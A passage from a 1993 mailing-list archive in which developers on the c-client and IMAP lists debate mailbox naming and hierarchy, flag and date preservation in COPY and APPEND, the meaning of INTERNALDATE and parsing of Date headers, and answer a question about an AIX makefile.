least favorite.) > c. Define in IMAP some characteristic of "typical" path names > that can be used to select the appropriate driver (e.g. the > presence or absence of a "/" or "\".) > d. Define some meta-syntax in an IMAP name that can be used to > select drivers. > > Options b and c strike me as the least attractive; option d seems doable > but clumsy, leaving option a as the least of several evils in my book. I don't quite understand option (a). There are some implicit link order rules; in particular, any drivers which support the concept of INBOX must come before bezerk or mmdf, since bezerk/mmdf always accept the name INBOX (I haven't quite addressed how these two will fight it out yet...). I think that it is a terrible idea to change link order on the fly or anything like that; ideally, all software should use as close to the same order as possible to keep some semblance of consistant behavior. I personally favor option (b). I see option (c) as a kludge to prevent option (d), and find option (d) to be the least attractive of all. From pinedev@shivax2.cac.washington.edu Thu Jul 15 19:49:43 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26932; Thu, 15 Jul 93 19:49:43 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05041; Thu, 15 Jul 93 19:49:35 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05035; Thu, 15 Jul 93 19:49:32 -0700 Received: by andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Thu, 15 Jul 93 22:49:24 EDT Received: via switchmail; Thu, 15 Jul 1993 22:49:22 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Thu, 15 Jul 1993 22:48:35 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Thu, 15 Jul 1993 22:48:32 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Thu, 15 Jul 1993 22:48:29 -0400 (EDT) Message-Id: Date: Thu, 15 Jul 1993 22:48:29 -0400 (EDT) From: John Gardiner Myers To: c-client@cac.washington.edu Subject: Re: message state preservation in COPY and APPEND operations Cc: IMAP Interest List In-Reply-To: References: Beak: Is Mark Crispin writes: > Then that leaves us with the problem of APPEND. We can extend APPEND to have > a flags argument. However, that leaves the question of what to do when the > server returns BAD because it's a server written for the previous spec. The client then has to fall back to using APPEND without the flags argument. The message will be inserted without the flags set, but this is then the same situation you have when you do a COPY on a server written for the "don't copy flags" interpretation of the previous spec. > I consider it to be of *utmost* importance to have consistant behavior across > all variants of IMAP. Differences in version should be differences in > functionality, not differences in fundamental behavior. I'm not quite sure why the inability to preserve flags is a difference in "fundamental behavior" instead of a difference in "functionality." As it is now, you have inconsistent behavior WITHIN a given version of c-client. Whether or not you can even use user-defined flags varies between mailbox to mailbox, depending on what the underlying storage format is. Even if we do decide that flags should be preserved, there are some cases where servers that support fine-grained access control will want to fail to preserve them. If a user is allowed to COPY/APPEND a message into a folder, yet is not allowed to do a SET FLAGS on that folder, the server should not preserve the flags on the inserted message. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Thu Jul 15 20:44:29 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27450; Thu, 15 Jul 93 20:44:29 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05284; Thu, 15 Jul 93 20:44:23 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05278; Thu, 15 Jul 93 20:44:21 -0700 Received: by andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Thu, 15 Jul 93 23:44:12 EDT Received: via switchmail; Thu, 15 Jul 1993 23:44:11 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Thu, 15 Jul 1993 23:42:47 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Thu, 15 Jul 1993 23:42:45 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Thu, 15 Jul 1993 23:42:40 -0400 (EDT) Message-Id: Date: Thu, 15 Jul 1993 23:42:40 -0400 (EDT) From: John Gardiner Myers To: c-client@cac.washington.edu Subject: Re: non-netnews bboard access in c-client/imapd In-Reply-To: References: Beak: is Not Terry Gray writes: > Not all of us are convinced that saying you can never have a Berzerk > folder ending in the string ".txt" is an acceptable solution... I have a bezerk mailbox named "foo.txt". Seems to work fine, though I had to create it by hand. The drivers are presumably able to check appropriate magic numbers before accepting names. This admittedly might not perform all that well. > The reason I find [netnews dot notation] unacceptable is that it > precludes having file names with dots in them. Not at all. Remember, in the IMAP world, hierarchy is in the eyes of the beholder. In the mailbox namespace, the bezerk driver can simulate the netnews dot notation using flat files in a single directory. It can do the same in the bboard namespace as long as a leading "/" is not required. Consider my previous search table: { "archive.", "~ftp/list-archive/" }, { "", "/usr/spool/bboard/" }, In ~ftp/list-archive/, you can have the mailboxes "c-client", "c-client.1992", "c-client.1991", "imap", "imap.1992", "imap.1991", etc. > (Remember, I believe a major objective of this activity is to be > able to make *existing* anonymous ftp archives available via IMAP.) To get best results, an archive site is going to have to structure their archive in an IMAP-friendly way and/or spend time configuring their IMAP server. I think this is to be expected. An archive site can alternatively spend minimal effort and have the archives exported via IMAP with unix pathname format names. The ugliness of the names will be compensated for by their trivial conversion between the FTP and IMAP namespaces. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Fri Jul 16 10:30:40 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12778; Fri, 16 Jul 93 10:30:40 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11470; Fri, 16 Jul 93 10:30:26 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from norman.nwnet.net by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11464; Fri, 16 Jul 93 10:30:24 -0700 Received: from norman.nwnet.net by norman.nwnet.net (5.65/UW-NDC Revision: 2.27 ) id AA26795; Fri, 16 Jul 93 10:30:18 -0700 Date: Fri, 16 Jul 1993 10:21:07 -0700 (PDT) From: Laurence Lundblade Reply-To: Laurence Lundblade Subject: Re: Nested mailboxes To: IMAP Interest List Cc: Adam Treister , Jamey Maze , c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII I pretty much agree that keeping the hierarchy in the "eye of the beholder" is the best thing. The main advantage of having hierarchy is being able to navigate it: be at one level, get a list at that level, change levels (pwd, ls, cd). Unless we add this functionality to IMAP there's not much to gain by defining hierarchy. Well, actually that's not entirely true. Netnews groups have a hierarchy and there are no NNTP commands to navigate it, but user agents can navigate it because they know the format of the name space. If a hierarchy were defined for the IMAP name space clients could navigate it with the existing protocol, though it would be inefficient for large collections. They would have to get the entire list of all entries in the name space and then navigate it locally. This doesn't seem very practical especially for small clients and large lists. My biggest concern about leaving the hierarchy in the "eye of the beholder" without standardizing it is that specific implementations of client-server pairs will adopt some convention about the name space. They then will only be able to operate well with each other and not other clients or servers. LL From pinedev@shivax2.cac.washington.edu Sat Jul 17 11:47:36 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08896; Sat, 17 Jul 93 11:47:36 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00672; Sat, 17 Jul 93 11:47:29 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00666; Sat, 17 Jul 93 11:47:28 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA07215; Sat, 17 Jul 93 11:47:22 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA03771; Sat, 17 Jul 93 11:47:17 -0700 Date: Sat, 17 Jul 1993 11:25:09 -0700 (PDT) From: Mark Crispin Subject: administrivia To: c-client Interest List , IMAP Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII There have been a few messages recently requesting [un]subscription to these lists, that have been sent to the entire list. Please remember that the e-mail addresses for all adminstrative requests are: c-client-request@cac.washington.edu imap-request@cac.washington.edu The -request suffix is important. Without that suffix, your message is automatically posted to the entire list. From pinedev@shivax2.cac.washington.edu Thu Aug 5 10:23:06 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03833; Thu, 5 Aug 93 10:23:06 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06410; Thu, 5 Aug 93 10:22:51 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from longball.pnl.gov by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06404; Thu, 5 Aug 93 10:22:50 -0700 Received: by longball.pnl.gov (AIX 3.2/UCB 5.64/4.03) id AA40191; Thu, 5 Aug 1993 10:21:58 -0700 Date: Thu, 5 Aug 1993 10:21:58 -0700 From: d3e482@longball.pnl.gov (JT Simmelink) Message-Id: <9308051721.AA40191@longball.pnl.gov> To: c-client@cac.washington.edu Subject: c-client makefile for AIX 3.2 Cc: I'm looking for a c-client makefile for AIX version 3.2. Is there one available at this time? Jeff Simmelink Battelle PNL, Richland WA Voice: (509) 375-2795, Fax: (509) 375-6703 E-mail: jt_simmelink@pnl.gov From pinedev@shivax2.cac.washington.edu Thu Aug 5 10:31:30 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04112; Thu, 5 Aug 93 10:31:30 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA24824; Thu, 5 Aug 93 10:31:22 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA24816; Thu, 5 Aug 93 10:31:20 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00247; Thu, 5 Aug 93 10:30:31 -0700 Date: Thu, 5 Aug 1993 10:28:25 -0700 (PDT) From: David L Miller Subject: Re: c-client makefile for AIX 3.2 To: JT Simmelink Cc: c-client@cac.washington.edu In-Reply-To: <9308051721.AA40191@longball.pnl.gov> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The current IMAP distribution at ftp.cac.washington.edu (mail/imap.tar.Z) includes an AIX 3.2 version of c-client. -- |\ | |\/| David L. Miller dlm@cac.washington.edu (206) 685-6240 |/ |_ | | Software Engineer, Pine Development Team (206) 685-4045 (FAX) University of Washington, Networks & Distributed Computing 4545 15th Ave NE, Seattle WA 98105, USA On Thu, 5 Aug 1993, JT Simmelink wrote: > I'm looking for a c-client makefile for AIX version 3.2. Is there one available at this time? > > > Jeff Simmelink > Battelle PNL, Richland WA > Voice: (509) 375-2795, Fax: (509) 375-6703 > E-mail: jt_simmelink@pnl.gov > From pinedev@shivax2.cac.washington.edu Thu Aug 5 11:00:20 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05187; Thu, 5 Aug 93 11:00:20 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06620; Thu, 5 Aug 93 11:00:14 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06614; Thu, 5 Aug 93 11:00:12 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA28377; Thu, 5 Aug 93 11:00:06 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA23854; Thu, 5 Aug 93 10:59:57 -0700 Date: Thu, 5 Aug 1993 10:59:17 -0700 (PDT) From: Mark Crispin Subject: re: c-client makefile for AIX 3.2 To: JT Simmelink Cc: c-client Interest List In-Reply-To: <9308051721.AA40191@longball.pnl.gov> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 5 Aug 1993 10:21:58 -0700, JT Simmelink wrote: > I'm looking for a c-client makefile for AIX version 3.2. Is there one available at this time? Yes, there is one in the current version, mail/imap.tar.Z on ftp.cac.washington.edu. From pinedev@shivax2.cac.washington.edu Mon Aug 23 08:41:38 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05715; Mon, 23 Aug 93 08:41:38 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15831; Mon, 23 Aug 93 08:41:18 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.nada.kth.se by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15824; Mon, 23 Aug 93 08:41:14 -0700 Received: from cyklop.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA04236; Mon, 23 Aug 93 17:41:05 +0200 Message-Id: <9308231541.AA04236@nada.kth.se> To: IMAP Interest List , c-client Interest List Cc: psv@nada.kth.se, ojarnef@admin.kth.se Subject: Dates in IMAP (Re: message state preservation in COPY ...) In-Reply-To: Your message of "Mon, 12 Jul 1993 21:51:38 PDT." Date: Mon, 23 Aug 1993 17:41:04 +0200 From: Peter Svanberg There are in my opinion two time stamps which could be interesting for an IMAP client user to use: * send date - the time and date when the author of the message sent it; i.e. the "Date" field in an 822 message Why: As a search constraint when a send date is known. If a message B was sent before a message A, B can't be a comment to A, for example. * arrival date - the date and time when the message was delivered to me, i.e. to the IMAP server Why: As a search constraint when a read date is known. If a user knows to have read a certain message at time T (or later), then that message must have arrived before T. My view of a typical usage of the mailbox concept in IMAP - for personal correspondence - is that the user gets all incoming mail to INBOX, reads them, deletes some and stores others in different mailboxes (as the folders in MH). This storage is done occasionally. RFC 1176 (and the current IMAP2bis draft) specifies: > INTERNALDATE The date and time the message was written to > the mailbox. Some persons on this list has argued that this must be interpreted as what could be called the "storage time" in the above scenario, i.e. at what moment the user happen to take time to tidy up in her INBOX. I don't see why this time stamp would ever be interesting to know, at least not more important than the other two dates. Perhaps there are such examples, in other scenarios. Could anyone tell me? I'm not aware of the history of the INTERNALDATE specification but in my opinion you _could_ interpret it as meaning arrival date. (Or at least that this was what the specifier had in mind, but expressed it vague.) My suggestion is that INTERNALDATE is clarified in IMAP2bis to mean arrival date. I don't know how this is best specified, perhaps: INTERNALDATE The date and time this message was delivered to a mailbox on this IMAP server (via non-IMAP services) Would this give any compatibility problems? As servers have done differently over time, maybe not? My description above also implies that searching on send date is definitely important. Has this been considered? --- Peter Svanberg, NADA, KTH Email: psv@nada.kth.se Dept of Num Analysis and Comp. Science, Royal Institute of Technology Phone: +46 8 790 71 40 S-100 44 Stockholm, SWEDEN Fax: +46 8 790 09 30 From pinedev@shivax2.cac.washington.edu Mon Aug 23 10:00:15 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08565; Mon, 23 Aug 93 10:00:15 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13848; Mon, 23 Aug 93 10:00:04 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from eco.twg.com by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13835; Mon, 23 Aug 93 09:59:57 -0700 Received: from LOCAL.eco.twg.com by eco.twg.com (5.67/ECO.m-$Revision: 2.16 $) id AA06595; Mon, 23 Aug 93 13:00:17 -0400 Message-Id: <9308231700.AA06595@eco.twg.com> Received: from apache.twg.com by apache.twg.com id <10575-0@apache.twg.com>; Mon, 23 Aug 1993 09:59:41 -0700 From: "David Herron" Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) To: Peter Svanberg (Non Receipt Notification Requested) (IPM Return Requested) Cc: IMAP Interest List (Non Receipt Notification Requested) (IPM Return Requested), c-client Interest List (Non Receipt Notification Requested) (IPM Return Requested), ojarnef@admin.kth.se (Non Receipt Notification Requested) (IPM Return Requested) Date: Mon, 23 Aug 93 9:59:39 PDT In-Reply-To: Your message of Mon, 23 Aug 1993 17:41:04 +0200.<9308231541.AA04236@nada.kth.se> Sensitivity: Personal Conversion: Prohibited Conversion-With-Loss: Prohibited Encoding: 22 TEXT , 4 TEXT >From: Peter Svanberg > >* send date - the time and date when the author of the > message sent it; i.e. the "Date" field in an 822 message > >Why: As a search constraint when a send date is known. If a >message B was sent before a message A, B can't be a comment to >A, for example. er... that's assuming the system clocks at A and B are accurate with respect to one another. >* arrival date - the date and time when the message was > delivered to me, i.e. to the IMAP server > >Why: As a search constraint when a read date is known. If a >user knows to have read a certain message at time T (or later), >then that message must have arrived before T. Again relying on accurate system clocks. Also mail may get delayed by random amounts in transmission even if one is well connected to the network. <- David Herron (work) (home) <- <- All hard work brings a profit, but mere talk leads only to poverty. <- Proverbs 14:23 From pinedev@shivax2.cac.washington.edu Mon Aug 23 15:15:32 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23105; Mon, 23 Aug 93 15:15:32 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18072; Mon, 23 Aug 93 15:15:23 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18057; Mon, 23 Aug 93 15:14:56 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA19838; Mon, 23 Aug 93 15:14:37 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA00323; Mon, 23 Aug 93 15:14:26 -0700 Date: Mon, 23 Aug 1993 13:10:03 -0700 (PDT) From: Mark Crispin Subject: re: Dates in IMAP (Re: message state preservation in COPY ...) To: Peter Svanberg Cc: IMAP Interest List , c-client Interest List , psv@nada.kth.se, ojarnef@admin.kth.se In-Reply-To: <9308231541.AA04236@nada.kth.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thank you for your comments. On most UNIX-based systems (and on the TOPS-20 system that preceeded it), the ``date/time the message was written to the mailbox'' is an easily available piece of information. On UNIX, this is the date/time in the ``From '' header in mbox-format mailboxes. In mh-format, it's the file write time. This information is generally quite readily available at the time the mailbox is scanned to find messages, making it ideal for any sort of fast date/time dependent activities. One problem which comes up with parsing dates is the various formats which dates may be. UNIX mbox-format has 20 (possibly 28) different formats of ``From '' line, mostly variations in the date/time format, of which 4 or 5 are in common usage. But that's the easy part. The much harder problem is processing the date/times that appear in Date: header lines. If everyone would follow the rules in RFC 822 it would be easy; unfortunately many people do not. So, on top of having to find the Date: header line (which involves actually doing an RFC 822 header parse), you have to worry about doing something reasonable with non-conforming Date headers. It would be attractive if there was some type of searching based upon the Date: header line date (what you call the ``send date''). There are three issues here: 1) reliably understanding the Date: as noted above. 2) getting the Date: quickly as noted above. 3) modifications to SEARCH It was the first two problems that caused a punt on the ``send date'' back in 1986. The third problem is introduced by the necessity of compatibility with the past. If you specify a search that uses the ``send date'', what do you do with a server which has not yet implemented that set of extensions. This is a Pandora's box, since other excellent suggestions have been made for extensions to SEARCH. I am of the opinion that incrementally extending SEARCH is a terrible idea because it will create a plethora of different levels of searching capability. Rather, it would be better to preserve the current level of searching as a basic level, and then define a new extended level that gets a complete set of new capabilities. There is some IMSP interaction here that should be considered too. The other two problems pale by comparison, I think. If someone insists upon sending bogons like: Date: 5/3/93 1:23 BST the software cannot be blamed for whatever interpretation it may make (May 3 or March 5? 1:23 AM or PM? British Summer Time or Bering Standard Time?). The bogon date problem has ameliorated quite a bit since 1986 though. Searching based upon the Date: header will always, I suspect, be quite a bit slower than the internal date, but educated users would be aware of this. From pinedev@shivax2.cac.washington.edu Tue Aug 24 04:26:56 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06205; Tue, 24 Aug 93 04:26:56 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20949; Tue, 24 Aug 93 04:26:46 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.nada.kth.se by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20943; Tue, 24 Aug 93 04:26:42 -0700 Received: from cyklop.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA14901; Tue, 24 Aug 93 13:19:06 +0200 Message-Id: <9308241119.AA14901@nada.kth.se> To: Mark Crispin Cc: IMAP Interest List , c-client Interest List , ojarnef@admin.kth.se Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) In-Reply-To: Your message of "Mon, 23 Aug 1993 13:10:03 PDT." Date: Tue, 24 Aug 1993 13:19:05 +0200 From: Peter Svanberg Quoting: Mark Crispin > > Thank you for your comments. Hmm, the presentation part of my message got lost: I am a Unix and Mac systems administrator and programmer and (as such) a heavy email user, having lots of opinions on how email usage could be more effective and nice. I and my colleague Olle Jarnefors have discussed some aspects of the IMAP2bis protocol and will try to express our opinions in a few messages on this list before the WG meeting. So, hopefully it will come more. > Rather, it would be better to preserve the current level of > searching as a basic level, and then define a new extended > level that gets a complete set of new capabilities. There is > some IMSP interaction here that should be considered too. : > The bogon date problem has ameliorated quite a bit since 1986 > though. : > Searching based upon the Date: header will always, I suspect, > be quite a bit slower than the internal date, but educated > users would be aware of this. I infer from this that you think searching with "send date", inspite of its problems, could be put in the extended search level. Correct? _If_ the "send date" is considered important for the client and the user, the server could relieve the client from the parsing problem (as is already done with other parts) through for example "RFC-822-ing" it. But what is your view of my suggestion on clarifying INTERNALDATE and the implications of that to (at least) the date preservation of COPY? Is there _any_ motivation for keeping a "storage date"? --- Peter Svanberg, NADA, KTH Email: psv@nada.kth.se Dept of Num An & CS, Royal Inst of Tech Phone: +46 8 790 71 40 S-100 44 Stockholm, SWEDEN Fax: +46 8 790 09 30 From pinedev@shivax2.cac.washington.edu Tue Aug 24 18:31:57 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00748; Tue, 24 Aug 93 18:31:57 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25582; Tue, 24 Aug 93 18:31:28 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25574; Tue, 24 Aug 93 18:31:26 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA21803; Tue, 24 Aug 93 18:31:20 -0700 Date: Tue, 24 Aug 1993 18:26:21 -0700 (PDT) From: Mark Crispin Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) To: Peter Svanberg Cc: IMAP Interest List , c-client Interest List , ojarnef@admin.kth.se In-Reply-To: <9308241119.AA14901@nada.kth.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Yes, I think that a date criteria based upon the RFC-822 Date: header (that is, the ``send date'' as you call it) would be something reasonable to include in a future extended SEARCH. Dates are not preserved in COPY. What makes you think they would be? -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Aug 24 19:35:13 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01693; Tue, 24 Aug 93 19:35:13 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25802; Tue, 24 Aug 93 19:35:05 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.nada.kth.se by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25796; Tue, 24 Aug 93 19:35:02 -0700 Received: from cyklop.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA07809; Wed, 25 Aug 93 04:35:00 +0200 Message-Id: <9308250235.AA07809@nada.kth.se> To: Mark Crispin Cc: IMAP Interest List , c-client Interest List , ojarnef@admin.kth.se Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) In-Reply-To: Your message of "Tue, 24 Aug 1993 18:26:21 PDT." Date: Wed, 25 Aug 1993 04:34:59 +0200 From: Peter Svanberg Quoting: Mark Crispin > Dates are not preserved in COPY. What makes you think they would be? My thoughts about how it will be used (is what makes me think so). In the debate about preservation, you said: > Arguably, this behavior [not preserving] is justified; the > copy of the message is a separate instance of the message, and > the state could be thought of as being associated with the > instance instead of with the message. For example, you can > define the internal date as being ``when the message was placed > in this mailbox'' as opposed to ``when the user received this > message''. > > However, to end users of applications such as Pine, the loss > of seen status when a message is copied from one folder to > another is a bug. In my scenario, the "copy" of the message is in fact _the_ message, moved from INBOX for storage. If then the internal date is not preserved, it becomes what I called a "storage date", which I still can't see any use of. Furthermore, as this is the date used in SEARCH, the search by date functionality becomes almost useless. What's wrong? My scenario and/or usage of COPY? Then please show me how _you_ think it would be used, and how my usage is made possible. --- Peter Svanberg, Nada, KTH From pinedev@shivax2.cac.washington.edu Wed Aug 25 08:39:02 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15992; Wed, 25 Aug 93 08:39:02 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28751; Wed, 25 Aug 93 08:38:53 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from csgrad.cs.vt.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28739; Wed, 25 Aug 93 08:38:17 -0700 Received: by csgrad.cs.vt.edu (5.65/DEC-Ultrix/4.3) id AA12410; Wed, 25 Aug 1993 11:37:07 -0400 Date: Wed, 25 Aug 1993 11:35:40 -0400 (EDT) From: Laurence Lundblade Reply-To: Laurence Lundblade Subject: re: Dates in IMAP (Re: message state preservation in COPY ...) To: Mark Crispin Cc: Peter Svanberg , IMAP Interest List , c-client Interest List , psv@nada.kth.se, ojarnef@admin.kth.se In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Just thought I'd mention that Pine does parse the Date: field. It uses some heuristics and is generally successful. The message date displayed in Pine's index is from a full parse of the Date: field. In thousands of messages I've seen in Pine I can only think of less than 5 or so that had dates so bad you couldn't parse them. It also uses the parse date field for sorting by date, though the lack of consist time zone usage sometimes causes problems. Laurence Lundblade lgl@csgrad.cs.vt.edu 703-552-2537 Virginia Tech -- Blacksburg, Virginia On Mon, 23 Aug 1993, Mark Crispin wrote: > .... > > The much harder problem is processing the date/times that appear in Date: > header lines. If everyone would follow the rules in RFC 822 it would be easy; > unfortunately many people do not. So, on top of having to find the Date: > header line (which involves actually doing an RFC 822 header parse), you have > to worry about doing something reasonable with non-conforming Date headers. > > It would be attractive if there was some type of searching based upon the > Date: header line date (what you call the ``send date''). There are three > issues here: > 1) reliably understanding the Date: as noted above. > 2) getting the Date: quickly as noted above. > 3) modifications to SEARCH > From pinedev@shivax2.cac.washington.edu Wed Aug 25 10:00:19 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19032; Wed, 25 Aug 93 10:00:19 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13168; Wed, 25 Aug 93 10:00:05 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from eco.twg.com by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13159; Wed, 25 Aug 93 09:59:59 -0700 Received: from LOCAL.eco.twg.com by eco.twg.com (5.67/ECO.m-$Revision: 2.16 $) id AA29423; Wed, 25 Aug 93 12:58:58 -0400 Message-Id: <9308251658.AA29423@eco.twg.com> Received: from apache.twg.com by apache.twg.com id <10346-0@apache.twg.com>; Wed, 25 Aug 1993 09:59:38 -0700 From: "David Herron" Subject: Re: Dates in IMAP (Re: message state preservation in COPY ...) To: Peter Svanberg (Non 